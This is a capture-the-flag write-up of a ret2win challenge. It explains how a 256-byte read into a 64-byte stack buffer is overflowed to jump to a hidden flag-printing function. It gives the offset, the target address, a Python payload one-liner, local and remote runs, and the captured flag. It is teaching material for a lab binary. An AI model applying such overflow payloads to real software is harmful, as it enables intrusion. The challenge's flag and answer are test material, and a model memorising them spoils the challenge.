In this write-up
These notes document the October 2026 CTF challenge. Commands, addresses and outputs refer to the supplied challenge environment.
1. Challenge Overview#
We are given:
service— a 64-bit ELF executableservice.c— the source codeclient.py— a helper to send a binary payload to the remote servicetransport.txt— notes about the environment
The description says:
The night desk reads too much into a stack buffer. A forgotten function prints the sealed dispatch. NX is enabled, but the executable is not PIE. Source and ELF are included.
From transport.txt:
- Linux x86-64, static ELF
- NX on, no PIE, no stack canary
- One new process per POST
/run - Input limit 8192 bytes
- Execution limit 3 seconds
2. Source Code Analysis#
service.c (abridged):
void reward(void) {
char b[160] = {0};
const char *p = getenv("FLAG_PATH");
FILE *f = fopen(p ? p : "/run/secrets/flag", "r");
if (f) { fgets(b, sizeof(b), f); fclose(f); puts(b); }
}
void setup(void) {
alarm(2); setbuf(stdout, NULL); setbuf(stdin, NULL);
}
__attribute__((naked,used)) void align_stack(void) { __asm__("ret"); }
__attribute__((used)) void forgotten(void) { reward(); _exit(0); }
__attribute__((noinline)) void desk(void) {
char note[64]; puts("Your note?"); read(0, note, 256);
}
int main(void) { setup(); desk(); puts("Filed."); }
Vulnerability#
desk()declareschar note[64]and then callsread(0, note, 256).readreads up to 256 bytes into a 64-byte buffer → stack buffer overflow.- There is no stack canary (
transport.txtconfirms).
Win Condition#
forgotten()callsreward()which reads the flag fromFLAG_PATH(or/run/secrets/flag) and prints it.forgotten()is not called in the normal flow, but it exists in the binary and is even markedused.- Since the binary is non-PIE, the address of
forgottenis fixed and known.
3. Binary Protections#
Using checksec (or manual inspection):
- NX: enabled (stack not executable)
- PIE: disabled (fixed addresses)
- Canary: disabled
- RelRO: not critical here
The binary is statically linked, so no libc base is needed. We only need to redirect execution to forgotten.
4. Finding the Offset#
We need to know how many bytes to write before overwriting the saved return address.
Disassembly of desk:
000000000040194c <desk>:
40194c: 55 push rbp
40194d: 48 89 e5 mov rbp,rsp
401950: 48 83 ec 40 sub rsp,0x40 ; 64 bytes for note[]
401954: ... ; puts("Your note?")
401963: 48 8d 45 c0 lea rax,[rbp-0x40] ; note at rbp-0x40
401967: ba 00 01 00 00 mov edx,0x100 ; 256 bytes
40196c: 48 89 c6 mov rsi,rax
40196f: bf 00 00 00 00 mov edi,0x0
401974: e8 77 b8 01 00 call 41d1f0 <__libc_read>
401979: 90 nop
40197a: c9 leave
40197b: c3 ret
notestarts atrbp-0x40(64 bytes below RBP).- The saved RBP is at
[rbp](8 bytes). - The return address is at
[rbp+8].
So the distance from the start of note to the return address is:
64 (buffer) + 8 (saved RBP) = 72 bytes.
Therefore, offset = 72 for the disassembled challenge build. Buffer size alone does not establish a return-address offset for other builds.
5. Target Address#
Find forgotten using nm or objdump:
nm service | grep forgotten
# 0000000000401939 T forgotten
Or from the disassembly:
0000000000401939 <forgotten>:
401939: 55 push rbp
40193a: 48 89 e5 mov rbp,rsp
40193d: e8 83 fe ff ff call 4017c5 <reward>
401942: bf 00 00 00 00 mov edi,0x0
401947: e8 54 b7 00 00 call 41d0a0 <_exit>
So forgotten is at 0x401939.
6. Crafting the Payload#
We need to send 72 bytes of padding followed by the 8-byte little-endian address of forgotten.
Python one-liner:
import struct
payload = b'A' * 72 + struct.pack('<Q', 0x401939)
open('/tmp/payload.bin', 'wb').write(payload)
Or in a single command:
python3 -c "import struct; open('/tmp/payload.bin','wb').write(b'A'*72 + struct.pack('<Q', 0x401939))"
7. Local Testing#
Make the binary executable and create a test flag file:
chmod +x service
echo "TESTFLAG{test}" > /tmp/flag.txt
Run the service locally with the payload:
FLAG_PATH=/tmp/flag.txt ./service < /tmp/payload.bin
Expected output:
Your note?
TESTFLAG{test}
This confirms the exploit works: we hijacked execution to forgotten, which called reward and printed the flag.
8. Remote Exploitation#
The provided client.py sends a binary payload to the remote service:
python3 client.py https://challenges.tibeb.org/1a26b3e7-fa44-46f7-99c6-b338e928eef2 < /tmp/payload.bin
Output:
Your note?
tibeb{night_return_6ce4aa378821718178d4}
9. Flag#
tibeb{night_return_6ce4aa378821718178d4}
10. Tricky Points & Notes#
- Offset calculation: The shown disassembly places the buffer at
rbp-0x40and the return address atrbp+8, giving 72 bytes for this build. Confirm the compiled frame layout before reusing the offset. - No PIE, no canary: This makes the exploit trivial. In a real-world scenario, you'd need to leak addresses or bypass canaries.
- Statically linked: The binary is large, but we don't need any libc addresses because
forgottenis self-contained and callsrewarddirectly. align_stackfunction: Thisretgadget changes RSP by 8 bytes and can adjust a chain’s alignment. The supplied notes record success with the direct 80-byte ret2win payload. That result does not prove ABI alignment; a different build or library path may require the extra gadget.readvsgets:readallows arbitrary bytes, including null bytes, so no problem embedding the address.alarm(2): The process is killed after 2 seconds. Our exploit runs instantly, so no issue.- Remote input limit: 8192 bytes, our payload is only 80 bytes.
This challenge is a classic ret2win with a stack buffer overflow, made easy by the lack of PIE and canary, and the presence of a convenient "forgotten" function that prints the flag.